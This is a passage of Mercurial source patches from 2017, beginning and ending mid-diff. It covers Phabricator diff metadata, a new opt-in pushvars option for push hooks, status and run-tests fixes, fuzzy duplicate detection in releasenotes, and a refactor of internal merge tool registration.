-    oldnodedrev = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
+    # {newnode: (oldnode, olddiff, olddrev}
+    oldmap = getoldnodedrevmap(repo, [repo[r].node() for r in revs])
 
     # Send patches one by one so we know their Differential Revision IDs and
     # can provide dependency relationship
@@ -364,7 +379,7 @@
         ctx = repo[rev]
 
         # Get Differential Revision ID
-        oldnode, revid = oldnodedrev.get(ctx.node(), (None, None))
+        oldnode, olddiff, revid = oldmap.get(ctx.node(), (None, None, None))
         if oldnode != ctx.node():
             # Create or update Differential Revision
             revision = createdifferentialrevision(ctx, revid, lastrevid,
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1501874483 25200
#      Fri Aug 04 12:21:23 2017 -0700
# Node ID f100354cce52918420f7116e588cfc61ae8690ca
# Parent  1664406a44d953faf809754a367b295c09407027
phabricator: update diff property even if we choose not to create a new diff

The diff property contains metadata like "HG Node". Previously we skip
uploading a new diff if we are sure that the old patch and new patch have a
same content. That has issues when a pusher adds an obsmarker using the old
"HG Node" stored in the old diff.

This patch adds logic to update the diff property so "HG Node" gets updated
to prevent that issue.

Differential Revision: https://phab.mercurial-scm.org/D229

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -255,7 +255,7 @@
     callconduit(ctx.repo(), 'differential.setdiffproperty', params)
 
 def createdifferentialrevision(ctx, revid=None, parentrevid=None, oldnode=None,
-                               actions=None):
+                               olddiff=None, actions=None):
     """create or update a Differential Revision
 
     If revid is None, create a new Differential Revision, otherwise update
@@ -279,6 +279,13 @@
         diff = creatediff(ctx)
         writediffproperties(ctx, diff)
         transactions.append({'type': 'update', 'value': diff[r'phid']})
+    else:
+        # Even if we don't need to upload a new diff because the patch content
+        # does not change. We might still need to update its metadata so
+        # pushers could know the correct node metadata.
+        assert olddiff
+        diff = olddiff
+    writediffproperties(ctx, diff)
 
     # Use a temporary summary to set dependency. There might be better ways but
     # I cannot find them for now. But do not do that if we are updating an
@@ -383,7 +390,7 @@
         if oldnode != ctx.node():
             # Create or update Differential Revision
             revision = createdifferentialrevision(ctx, revid, lastrevid,
-                                                  oldnode, actions)
+                                                  oldnode, olddiff, actions)
             newrevid = int(revision[r'object'][r'id'])
             if revid:
                 action = _('updated')
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1501475382 -19800
#      Mon Jul 31 09:59:42 2017 +0530
# Node ID db3dc11356edd09d11705cf0fe285b290cea53fa
# Parent  f100354cce52918420f7116e588cfc61ae8690ca
pushvars: move fb extension pushvars to core

pushvars extension in fbext adds a --pushvars flag to push command using which
one send strings to server which becomes environment variables there prepended
with HG_USERVAR_. These variables can then be used to run hooks on the server.
The extension is moved directly to core and unbundling of the strings and
converting them to environment variables at server is disabled by default for
security reasons. One can turn that on by following config:

[push]
pushvars.server = true

This patch also adds the test for the extension.

Differential Revision: https://phab.mercurial-scm.org/D210

diff --git a/mercurial/bundle2.py b/mercurial/bundle2.py
--- a/mercurial/bundle2.py
+++ b/mercurial/bundle2.py
@@ -1879,3 +1879,17 @@
 
     cache.write()
     op.ui.debug('applied %i hgtags fnodes cache entries\n' % count)
+
+@parthandler('pushvars')
+def bundle2getvars(op, part):
+    '''unbundle a bundle2 containing shellvars on the server'''
+    # An option to disable unbundling on server-side for security reasons
+    if op.ui.configbool('push', 'pushvars.server', False):
+        hookargs = {}
+        for key, value in part.advisoryparams:
+            key = key.upper()
+            # We want pushed variables to have USERVAR_ prepended so we know
+            # they came from the --pushvar flag.
+            key = "USERVAR_" + key
+            hookargs[key] = value
+        op.addhookargs(hookargs)
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -3970,6 +3970,7 @@
     ('b', 'branch', [],
      _('a specific branch you would like to push'), _('BRANCH')),
     ('', 'new-branch', False, _('allow pushing a new branch')),
+    ('', 'pushvars', [], _('variables that can be sent to server (ADVANCED)')),
     ] + remoteopts,
     _('[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]'))
 def push(ui, repo, dest=None, **opts):
@@ -4007,6 +4008,25 @@
     Please see :hg:`help urls` for important details about ``ssh://``
     URLs. If DESTINATION is omitted, a default path will be used.
 
+    .. container:: verbose
+
+        The --pushvars option sends strings to the server that become
+        environment variables prepended with ``HG_USERVAR_``. For example,
+        ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
+        ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
+
+        pushvars can provide for user-overridable hooks as well as set debug
+        levels. One example is having a hook that blocks commits containing
+        conflict markers, but enables the user to override the hook if the file
+        is using conflict markers for testing purposes or the file format has
+        strings that look like conflict markers.
+
+        By default, servers will ignore `--pushvars`. To enable it add the
+        following to your configuration file
+
+            [push]
+            pushvars.server = true
+
     Returns 0 if push was successful, 1 if nothing to push.
     """
 
@@ -4059,11 +4079,28 @@
                 return not result
     finally:
         del repo._subtoppath
+
+    pushvars = opts.get('pushvars')
+    if pushvars:
+        shellvars = {}
+        for raw in pushvars:
+            if '=' not in raw:
+                msg = ("unable to parse variable '%s', should follow "
+                        "'KEY=VALUE' or 'KEY=' format")
+                raise error.Abort(msg % raw)
+            k, v = raw.split('=', 1)
+            shellvars[k] = v
+
+        repo._shellvars = shellvars
+
     pushop = exchange.push(repo, other, opts.get('force'), revs=revs,
                            newbranch=opts.get('new_branch'),
                            bookmarks=opts.get('bookmark', ()),
                            opargs=opts.get('opargs'))
 
+    if pushvars:
+        del repo._shellvars
+
     result = not pushop.cgresult
 
     if pushop.bkresult is not None:
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -893,6 +893,14 @@
                         pushop.bkresult = 1
     return handlereply
 
+@b2partsgenerator('pushvars', idx=0)
+def _getbundlesendvars(pushop, bundler):
+    '''send shellvars via bundle2'''
+    if getattr(pushop.repo, '_shellvars', ()):
+        part = bundler.newpart('pushvars')
+
+        for key, value in pushop.repo._shellvars.iteritems():
+            part.addparam(key, value, mandatory=False)
 
 def _pushbundle2(pushop):
     """push data to the remote using bundle2
diff --git a/tests/test-completion.t b/tests/test-completion.t
--- a/tests/test-completion.t
+++ b/tests/test-completion.t
@@ -228,7 +228,7 @@
   log: follow, follow-first, date, copies, keyword, rev, removed, only-merges, user, only-branch, branch, prune, patch, git, limit, no-merges, stat, graph, style, template, include, exclude
   merge: force, rev, preview, tool
   pull: update, force, rev, bookmark, branch, ssh, remotecmd, insecure
-  push: force, rev, bookmark, branch, new-branch, ssh, remotecmd, insecure
+  push: force, rev, bookmark, branch, new-branch, pushvars, ssh, remotecmd, insecure
   remove: after, force, subrepos, include, exclude
   serve: accesslog, daemon, daemon-postexec, errorlog, port, address, prefix, name, web-conf, webdir-conf, pid-file, stdio, cmdserver, templates, style, ipv6, certificate, subrepos
   status: all, modified, added, removed, deleted, clean, unknown, ignored, no-status, terse, copies, print0, rev, change, include, exclude, subrepos, template
diff --git a/tests/test-pushvars.t b/tests/test-pushvars.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pushvars.t
@@ -0,0 +1,71 @@
+Setup
+
+  $ PYTHONPATH=$TESTDIR/..:$PYTHONPATH
+  $ export PYTHONPATH
+
+  $ cat > $TESTTMP/pretxnchangegroup.sh << EOF
+  > #!/bin/sh
+  > env | egrep "^HG_USERVAR_(DEBUG|BYPASS_REVIEW)" | sort
+  > exit 0
+  > EOF
+  $ chmod +x $TESTTMP/pretxnchangegroup.sh
+  $ cat >> $HGRCPATH << EOF
+  > [hooks]
+  > pretxnchangegroup = $TESTTMP/pretxnchangegroup.sh
+  > [experimental]
+  > bundle2-exp = true
+  > EOF
+
+  $ hg init repo
+  $ hg clone -q repo child
+  $ cd child
+
+Test pushing vars to repo with pushvars.server not set
+
+  $ echo b > a
+  $ hg commit -Aqm a
+  $ hg push --pushvars "DEBUG=1" --pushvars "BYPASS_REVIEW=true"
+  pushing to $TESTTMP/repo (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files
+
+Setting pushvars.sever = true and then pushing.
+
+  $ echo [push] >> $HGRCPATH
+  $ echo "pushvars.server = true" >> $HGRCPATH
+  $ echo b >> a
+  $ hg commit -Aqm a
+  $ hg push --pushvars "DEBUG=1" --pushvars "BYPASS_REVIEW=true"
+  pushing to $TESTTMP/repo (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files
+  HG_USERVAR_BYPASS_REVIEW=true
+  HG_USERVAR_DEBUG=1
+
+Test pushing var with empty right-hand side
+
+  $ echo b >> a
+  $ hg commit -Aqm a
+  $ hg push --pushvars "DEBUG="
+  pushing to $TESTTMP/repo (glob)
+  searching for changes
+  adding changesets
+  adding manifests
+  adding file changes
+  added 1 changesets with 1 changes to 1 files
+  HG_USERVAR_DEBUG=
+
+Test pushing bad vars
+
+  $ echo b >> a
+  $ hg commit -Aqm b
+  $ hg push --pushvars "DEBUG"
+  pushing to $TESTTMP/repo (glob)
+  abort: unable to parse variable 'DEBUG', should follow 'KEY=VALUE' or 'KEY=' format
+  [255]
# HG changeset patch
# User Denis Laxalde <denis.laxalde@logilab.fr>
# Date 1500885272 -7200
#      Mon Jul 24 10:34:32 2017 +0200
# Node ID 93422d0068f8979b33a02e5003fd4b6c23413361
# Parent  db3dc11356edd09d11705cf0fe285b290cea53fa
status: avoid recursing into ignored directory with "--terse u"

Let "isignoreddir" function first check that supplied directory is itself
ignored before walking recursively into its content. Otherwise, the command is
awfully slow when one has an ignored directory with a lot of content.

Update and rephrase function docstring accordingly.

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -466,12 +466,12 @@
         return True
 
     def isignoreddir(localpath):
-        """
-        This function checks whether the directory contains only ignored files
-        and hence should the directory be considered ignored. Returns True, if
-        that should be ignored otherwise False.
+        """Return True if `localpath` directory is ignored or contains only
+        ignored files and should hence be considered ignored.
         """
         dirpath = os.path.join(root, localpath)
+        if ignorefn(dirpath):
+            return True
         for f in os.listdir(dirpath):
             filepath = os.path.join(dirpath, f)
             if os.path.isdir(filepath):
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1500351164 14400
#      Tue Jul 18 00:12:44 2017 -0400
# Node ID eeed235083837ba138c7a352a6de68fd7cd121e3
# Parent  93422d0068f8979b33a02e5003fd4b6c23413361
run-tests: drop required (feature !) style lines when the output is missing

Essentially, these were acting as a verbose (?) flag, since they weren't being
dropped when required.  Foozy has a nice description [1].  Basically, a couple
more places needed to check the features before treating it as optional.

I don't like how test-run-tests.py had to be hacked, but _hghave() can't be made
a static method.  The test change was a change while developing `debugssl`,
prior to tightening up the cases where the message is printed, that this fix
would have caught.

[1] https://www.mercurial-scm.org/pipermail/mercurial-devel/2017-July/101941.html

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -1359,7 +1359,7 @@
                 while i < len(els):
                     el = els[i]
 
-                    r = TTest.linematch(el, lout)
+                    r = self.linematch(el, lout)
                     if isinstance(r, str):
                         if r == '+glob':
                             lout = el[:-1] + ' (glob)\n'
@@ -1385,9 +1385,7 @@
                             if m:
                                 conditions = [c for c in m.group(2).split(' ')]
 
-                                if self._hghave(conditions)[0]:
-                                    lout = el
-                                else:
+                                if not self._hghave(conditions)[0]:
                                     optional.append(i)
 
                     i += 1
@@ -1416,9 +1414,16 @@
                 while expected.get(pos, None):
                     el = expected[pos].pop(0)
                     if el:
-                        if (not optline.match(el)
-                            and not el.endswith(b" (?)\n")):
-                            break
+                        if not el.endswith(b" (?)\n"):
+                            m = optline.match(el)
+                            if m:
+                                conditions = [c for c in m.group(2).split(' ')]
+
+                                if self._hghave(conditions)[0]:
+                                    # Don't append as optional line
+                                    continue
+                            else:
+                                break
                     postout.append(b'  ' + el)
 
             if lcmd:
@@ -1481,8 +1486,7 @@
                 res += re.escape(c)
         return TTest.rematch(res, l)
 
-    @staticmethod
-    def linematch(el, l):
+    def linematch(self, el, l):
         retry = False
         if el == l: # perfect match (fast)
             return True
@@ -1493,8 +1497,11 @@
             else:
                 m = optline.match(el)
                 if m:
+                    conditions = [c for c in m.group(2).split(' ')]
+
                     el = m.group(1) + b"\n"
-                    retry = "retry"
+                    if not self._hghave(conditions)[0]:
+                        retry = "retry"    # Not required by listed features
 
             if el.endswith(b" (esc)\n"):
                 if PYTHON3:
diff --git a/tests/test-https.t b/tests/test-https.t
--- a/tests/test-https.t
+++ b/tests/test-https.t
@@ -624,7 +624,6 @@
 
   $ P="$CERTSDIR" hg id https://localhost:$HGPORT/
   warning: connecting to localhost using legacy security technology (TLS 1.0); see https://mercurial-scm.org/wiki/SecureConnections for more info (?)
-  (the full certificate chain may not be available locally; see "hg help debugssl") (windows !)
   abort: error: *handshake failure* (glob)
   [255]
 
diff --git a/tests/test-run-tests.py b/tests/test-run-tests.py
--- a/tests/test-run-tests.py
+++ b/tests/test-run-tests.py
@@ -39,7 +39,8 @@
             and output.endswith(b'\n')), 'missing newline'
     assert not re.search(br'[^ \w\\/\r\n()*?]', expected + output), \
            b'single backslash or unknown char'
-    match = run_tests.TTest.linematch(expected, output)
+    test = run_tests.TTest('test-run-test.t', '.', '.')
+    match = test.linematch(expected, output)
     if isinstance(match, str):
         return 'special: ' + match
     elif isinstance(match, bytes):
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -158,6 +158,57 @@
   python hash seed: * (glob)
 #endif
 
+  $ cat > test-failure.t << EOF
+  >   $ true
+  >   should go away (true !)
+  >   $ true
+  >   should stay (false !)
+  > 
+  > Should remove first line, not second or third
+  >   $ echo 'testing'
+  >   baz*foo (glob) (true !)
+  >   foobar*foo (glob) (false !)
+  >   te*ting (glob) (true !)
+  > 
+  > Should keep first two lines, remove third and last
+  >   $ echo 'testing'
+  >   test.ng (re) (true !)
+  >   foo.ar (re) (false !)
+  >   b.r (re) (true !)
+  >   missing (?)
+  >   awol (true !)
+  > EOF
+  $ rt test-failure.t
+  
+  --- $TESTTMP/test-failure.t
+  +++ $TESTTMP/test-failure.t.err
+  @@ -1,11 +1,9 @@
+     $ true
+  -  should go away (true !)
+     $ true
+     should stay (false !)
+   
+   Should remove first line, not second or third
+     $ echo 'testing'
+  -  baz*foo (glob) (true !)
+     foobar*foo (glob) (false !)
+     te*ting (glob) (true !)
+   
+  @@ -13,6 +11,4 @@
+     $ echo 'testing'
+     test.ng (re) (true !)
+     foo.ar (re) (false !)
+  -  b.r (re) (true !)
+     missing (?)
+  -  awol (true !)
+  
+  ERROR: test-failure.t output changed
+  !
+  Failed test-failure.t: output changed
+  # Ran 1 tests, 0 skipped, 1 failed.
+  python hash seed: * (glob)
+  [1]
+
 basic failing test
   $ cat > test-failure.t << EOF
   >   $ echo babar
# HG changeset patch
# User Matt Harbison <matt_harbison@yahoo.com>
# Date 1500353831 14400
#      Tue Jul 18 00:57:11 2017 -0400
# Node ID 1fa6023240f489e4382202a31e3d49eaaf6902d7
# Parent  eeed235083837ba138c7a352a6de68fd7cd121e3
run-tests: don't drop optional lines after a missing unconditional line

The previous behavior was to bail out when hitting 'awol', so 'missing (?)' was
also dropped.

diff --git a/tests/run-tests.py b/tests/run-tests.py
--- a/tests/run-tests.py
+++ b/tests/run-tests.py
@@ -1423,7 +1423,7 @@
                                     # Don't append as optional line
                                     continue
                             else:
-                                break
+                                continue
                     postout.append(b'  ' + el)
 
             if lcmd:
diff --git a/tests/test-run-tests.t b/tests/test-run-tests.t
--- a/tests/test-run-tests.t
+++ b/tests/test-run-tests.t
@@ -177,6 +177,13 @@
   >   b.r (re) (true !)
   >   missing (?)
   >   awol (true !)
+  > 
+  > The "missing" line should stay, even though awol is dropped
+  >   $ echo 'testing'
+  >   test.ng (re) (true !)
+  >   foo.ar (?)
+  >   awol
+  >   missing (?)
   > EOF
   $ rt test-failure.t
   
@@ -194,13 +201,22 @@
      foobar*foo (glob) (false !)
      te*ting (glob) (true !)
    
-  @@ -13,6 +11,4 @@
+     foo.ar (re) (false !)
+     missing (?)
+  @@ -13,13 +11,10 @@
      $ echo 'testing'
      test.ng (re) (true !)
      foo.ar (re) (false !)
   -  b.r (re) (true !)
      missing (?)
   -  awol (true !)
+   
+   The "missing" line should stay, even though awol is dropped
+     $ echo 'testing'
+     test.ng (re) (true !)
+     foo.ar (?)
+  -  awol
+     missing (?)
   
   ERROR: test-failure.t output changed
   !
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1501317386 -19800
#      Sat Jul 29 14:06:26 2017 +0530
# Node ID 4d1e79945c2e558434c03f808094d8637109d6ec
# Parent  1fa6023240f489e4382202a31e3d49eaaf6902d7
releasenotes: add import check for fuzzywuzzy

This patch adds the has_fuzzywuzzy for import check of external dependency
fuzzywuzzy.

diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -652,3 +652,12 @@
 @check("fsmonitor", "running tests with fsmonitor")
 def has_fsmonitor():
     return 'HGFSMONITOR_TESTS' in os.environ
+
+@check("fuzzywuzzy", "Fuzzy string matching library")
+def has_fuzzywuzzy():
+    try:
+        import fuzzywuzzy
+        fuzzywuzzy.__version__
+        return True
+    except ImportError:
+        return False
# HG changeset patch
# User Rishabh Madan <rishabhmadan96@gmail.com>
# Date 1501890936 -19800
#      Sat Aug 05 05:25:36 2017 +0530
# Node ID 3748098d072a1d1fc4363971c278ec008582bf0b
# Parent  4d1e79945c2e558434c03f808094d8637109d6ec
releasenotes: add similarity check function to compare incoming notes

It is possible that the incoming note fragments have some similar content as the
existing release notes. In case of a bug fix, we match for issueNNNN in the
existing notes. For other general cases, it makes use of fuzzywuzzy library to get
a similarity score. If the score is above a certain threshold, we ignore the
fragment, otherwise add it. But the score might be misleading for small commit
messages. So, it uses similarity function only if the length of string (in words)
is above a certain value. The patch adds tests related to its usage. But it needs
improvement in the sense of combining incoming notes. We can use interactive mode
for adding notes. Maybe we can do this if similarity is under a certain range.

diff --git a/hgext/releasenotes.py b/hgext/releasenotes.py
--- a/hgext/releasenotes.py
+++ b/hgext/releasenotes.py
@@ -46,6 +46,7 @@
 ]
 
 RE_DIRECTIVE = re.compile('^\.\. ([a-zA-Z0-9_]+)::\s*([^$]+)?$')
+RE_ISSUE = r'\bissue ?[0-9]{4,6}(?![0-9])\b'
 
 BULLET_SECTION = _('Other Changes')
 
@@ -92,6 +93,8 @@
         This is used to combine multiple sources of release notes together.
         """
         for section in other:
+            existingnotes = converttitled(self.titledforsection(section)) + \
+                convertnontitled(self.nontitledforsection(section))
             for title, paragraphs in other.titledforsection(section):
                 if self.hastitledinsection(section, title):
                     # TODO prompt for resolution if different and running in
@@ -100,16 +103,32 @@
                              (title, section))
                     continue
 
-                # TODO perform similarity comparison and try to match against
-                # existing.
+                incoming_str = converttitled([(title, paragraphs)])[0]
+                if section == 'fix':
+                    issue = getissuenum(incoming_str)
+                    if issue:
+                        if findissue(ui, existingnotes, issue):
+                            continue
+
+                if similar(ui, existingnotes, incoming_str):
+                    continue
+
                 self.addtitleditem(section, title, paragraphs)
 
             for paragraphs in other.nontitledforsection(section):
                 if paragraphs in self.nontitledforsection(section):
                     continue
 
-                # TODO perform similarily comparison and try to match against
-                # existing.
+                incoming_str = convertnontitled([paragraphs])[0]
+                if section == 'fix':
+                    issue = getissuenum(incoming_str)
+                    if issue:
+                        if findissue(ui, existingnotes, issue):
+                            continue
+
+                if similar(ui, existingnotes, incoming_str):
+                    continue
+
                 self.addnontitleditem(section, paragraphs)
 
 class releasenotessections(object):
@@ -136,6 +155,77 @@
 
         return None
 
+def converttitled(titledparagraphs):
+    """
+    Convert titled paragraphs to strings
+    """
+    string_list = []
+    for title, paragraphs in titledparagraphs:
+        lines = []
+        for para in paragraphs:
+            lines.extend(para)
+        string_list.append(' '.join(lines))
+    return string_list
+
+def convertnontitled(nontitledparagraphs):
+    """
+    Convert non-titled bullets to strings
+    """
+    string_list = []
+    for paragraphs in nontitledparagraphs:
+        lines = []
+        for para in paragraphs:
+            lines.extend(para)
+        string_list.append(' '.join(lines))
+    return string_list
+
+def getissuenum(incoming_str):
+    """
+    Returns issue number from the incoming string if it exists
+    """
+    issue = re.search(RE_ISSUE, incoming_str, re.IGNORECASE)
+    if issue:
+        issue = issue.group()
+    return issue
+
+def findissue(ui, existing, issue):
+    """
+    Returns true if issue number already exists in notes.
+    """
+    if any(issue in s for s in existing):
+        ui.write(_('"%s" already exists in notes; ignoring\n') % issue)
+        return True
+    else:
+        return False
+
+def similar(ui, existing, incoming_str):
+    """
+    Returns true if similar note found in existing notes.
+    """
+    if len(incoming_str.split()) > 10:
+        merge = similaritycheck(incoming_str, existing)
+        if not merge:
+            ui.write(_('"%s" already exists in notes file; ignoring\n')
+                     % incoming_str)
+            return True
+        else:
+            return False
+    else:
+        return False
+
+def similaritycheck(incoming_str, existingnotes):
+    """
+    Returns true when note fragment can be merged to existing notes.
+    """
+    import fuzzywuzzy.fuzz as fuzz
+    merge = True
+    for bullet in existingnotes:
+        score = fuzz.token_set_ratio(incoming_str, bullet)
+        if score > 75:
+            merge = False
+            break
+    return merge
+
 def getcustomadmonitions(repo):
     ctx = repo['.']
     p = config.config()
diff --git a/tests/test-releasenotes-formatting.t b/tests/test-releasenotes-formatting.t
--- a/tests/test-releasenotes-formatting.t
+++ b/tests/test-releasenotes-formatting.t
@@ -1,3 +1,5 @@
+#require fuzzywuzzy
+
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > releasenotes=
diff --git a/tests/test-releasenotes-merging.t b/tests/test-releasenotes-merging.t
--- a/tests/test-releasenotes-merging.t
+++ b/tests/test-releasenotes-merging.t
@@ -1,3 +1,5 @@
+#require fuzzywuzzy
+
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > releasenotes=
@@ -158,3 +160,122 @@
   
   * this is fix3.
 
+  $ cd ..
+
+Ignores commit messages containing issueNNNN based on issue number.
+
+  $ hg init simple-fuzzrepo
+  $ cd simple-fuzzrepo
+  $ touch fix1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. fix::
+  > 
+  >    Resolved issue4567.
+  > EOF
+
+  $ cat >> $TESTTMP/issue-number-notes << EOF
+  > Bug Fixes
+  > =========
+  > 
+  > * Fixed issue1234 related to XYZ.
+  > 
+  > * Fixed issue4567 related to ABC.
+  > 
+  > * Fixed issue3986 related to PQR.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/issue-number-notes
+  "issue4567" already exists in notes; ignoring
+
+  $ cat $TESTTMP/issue-number-notes
+  Bug Fixes
+  =========
+  
+  * Fixed issue1234 related to XYZ.
+  
+  * Fixed issue4567 related to ABC.
+  
+  * Fixed issue3986 related to PQR.
+
+  $ cd ..
+
+Adds short commit messages (words < 10) without
+comparison unless there is an exact match.
+
+  $ hg init tempdir
+  $ cd tempdir
+  $ touch feature1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. feature::
+  > 
+  >    Adds a new feature 1.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/short-sentence-notes
+
+  $ touch feature2
+  $ hg -q commit -A -l - << EOF
+  > commit 2
+  > 
+  > .. feature::
+  > 
+  >    Adds a new feature 2.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/short-sentence-notes
+  $ cat $TESTTMP/short-sentence-notes
+  New Features
+  ============
+  
+  * Adds a new feature 1.
+  
+  * Adds a new feature 2.
+
+  $ cd ..
+
+Ignores commit messages based on fuzzy comparison.
+
+  $ hg init fuzznotes
+  $ cd fuzznotes
+  $ touch fix1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. fix::
+  > 
+  >    This is a fix with another line.
+  >    And it is a big one.
+  > EOF
+
+  $ cat >> $TESTTMP/fuzz-ignore-notes << EOF
+  > Bug Fixes
+  > =========
+  > 
+  > * Fixed issue4567 by improving X.
+  > 
+  > * This is the first line. This is next line with one newline.
+  > 
+  >   This is another line written after two newlines. This is going to be a big one.
+  > 
+  > * This fixes another problem.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/fuzz-ignore-notes
+  "This is a fix with another line. And it is a big one." already exists in notes file; ignoring
+
+  $ cat $TESTTMP/fuzz-ignore-notes
+  Bug Fixes
+  =========
+  
+  * Fixed issue4567 by improving X.
+  
+  * This is the first line. This is next line with one newline.
+  
+    This is another line written after two newlines. This is going to be a big
+    one.
+  
+  * This fixes another problem.
diff --git a/tests/test-releasenotes-parsing.t b/tests/test-releasenotes-parsing.t
--- a/tests/test-releasenotes-parsing.t
+++ b/tests/test-releasenotes-parsing.t
@@ -1,3 +1,5 @@
+#require fuzzywuzzy
+
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > releasenotes=
# HG changeset patch
# User FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
# Date 1501949637 -32400
#      Sun Aug 06 01:13:57 2017 +0900
# Node ID 50c44dee741ab99401bf0b3446fe4ae88ccd0bb2
# Parent  3748098d072a1d1fc4363971c278ec008582bf0b
filemerge: move decorator definition for internal merge tools to registrar

This patch also adds extra loading entry for internal merge tools to
extensions.py, for similarity to other decorators defined in
registrar.py.

This patch uses "internalmerge" for decorator class name, instead of
original "internaltool", because the latter is too generic.

BTW, after this patch, 4-spaces indentation is added to the 1st line
of internal merge tool description docstring, and this may make
already translated entries in *.po fuzzy.

Even though this indentation is required for "definition list" in reST
syntax, absence of it has been overlooked, because help.makeitemsdoc()
forcibly inserts it at generation of online help.

But this forcible insertion causes formatting issue (I'll send another
patch series for this). Therefore, this additional indentation should
be reasonable.

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -250,6 +250,7 @@
     from . import (
         color,
         commands,
+        filemerge,
         fileset,
         revset,
         templatefilters,
@@ -268,6 +269,7 @@
         ('colortable', color, 'loadcolortable'),
         ('configtable', configitems, 'loadconfigtable'),
         ('filesetpredicate', fileset, 'loadpredicate'),
+        ('internalmerge', filemerge, 'loadinternalmerge'),
         ('revsetpredicate', revset, 'loadpredicate'),
         ('templatefilter', templatefilters, 'loadfilter'),
         ('templatefunc', templater, 'loadfunction'),
diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -21,6 +21,7 @@
     formatter,
     match,
     pycompat,
+    registrar,
     scmutil,
     simplemerge,
     tagmerge,
@@ -44,10 +45,12 @@
 # Merge tools to document.
 internalsdoc = {}
 
+internaltool = registrar.internalmerge()
+
 # internal tool merge types
-nomerge = None
-mergeonly = 'mergeonly'  # just the full merge, no premerge
-fullmerge = 'fullmerge'  # both premerge and merge
+nomerge = internaltool.nomerge
+mergeonly = internaltool.mergeonly # just the full merge, no premerge
+fullmerge = internaltool.fullmerge # both premerge and merge
 
 _localchangedotherdeletedmsg = _(
     "local%(l)s changed %(fd)s which other%(o)s deleted\n"
@@ -104,21 +107,6 @@
     def isabsent(self):
         return True
 
-def internaltool(name, mergetype, onfailure=None, precheck=None):
-    '''return a decorator for populating internal merge tool table'''
-    def decorator(func):
-        fullname = ':' + name
-        func.__doc__ = (pycompat.sysstr("``%s``\n" % fullname)
-                        + func.__doc__.strip())
-        internals[fullname] = func
-        internals['internal:' + name] = func
-        internalsdoc[fullname] = func
-        func.mergetype = mergetype
-        func.onfailure = onfailure
-        func.precheck = precheck
-        return func
-    return decorator
-
 def _findtool(ui, tool):
     if tool in internals:
         return tool
@@ -743,5 +731,17 @@
 def filemerge(repo, mynode, orig, fcd, fco, fca, labels=None):
     return _filemerge(False, repo, mynode, orig, fcd, fco, fca, labels=labels)
 
+def loadinternalmerge(ui, extname, registrarobj):
+    """Load internal merge tool from specified registrarobj
+    """
+    for name, func in registrarobj._table.iteritems():
+        fullname = ':' + name
+        internals[fullname] = func
+        internals['internal:' + name] = func
+        internalsdoc[fullname] = func
+
+# load built-in merge tools explicitly to setup internalsdoc
+loadinternalmerge(None, None, internaltool)
+
 # tell hggettext to extract docstrings from these functions:
 i18nfunctions = internals.values()
diff --git a/mercurial/registrar.py b/mercurial/registrar.py
--- a/mercurial/registrar.py
+++ b/mercurial/registrar.py
@@ -308,3 +308,64 @@
 
     def _extrasetup(self, name, func, argspec=None):
         func._argspec = argspec
+
+class internalmerge(_funcregistrarbase):
+    """Decorator to register in-process merge tool
+
+    Usage::
+
+        internalmerge = registrar.internalmerge()
+
+        @internalmerge('mymerge', internalmerge.mergeonly,
+                       onfailure=None, precheck=None):
+        def mymergefunc(repo, mynode, orig, fcd, fco, fca,
+                        toolconf, files, labels=None):
+            '''Explanation of this internal merge tool ....
+            '''
+            return 1, False # means "conflicted", "no deletion needed"
+
+    The first string argument is used to compose actual merge tool name,
+    ":name" and "internal:name" (the latter is historical one).
+
+    The second argument is one of merge types below:
+
+    ========== ======== ======== =========
+    merge type precheck premerge fullmerge
+    ========== ======== ======== =========
+    nomerge     x        x        x
+    mergeonly   o        x        o
+    fullmerge   o        o        o
+    ========== ======== ======== =========
+
+    Optional argument 'onfalure' is the format of warning message
+    to be used at failure of merging (target filename is specified
+    at formatting). Or, None or so, if warning message should be
+    suppressed.
+
+    Optional argument 'precheck' is the function to be used
+    before actual invocation of internal merge tool itself.
+    It takes as same arguments as internal merge tool does, other than
+    'files' and 'labels'. If it returns false value, merging is aborted
+    immediately (and file is marked as "unresolved").
+
+    'internalmerge' instance in example above can be used to
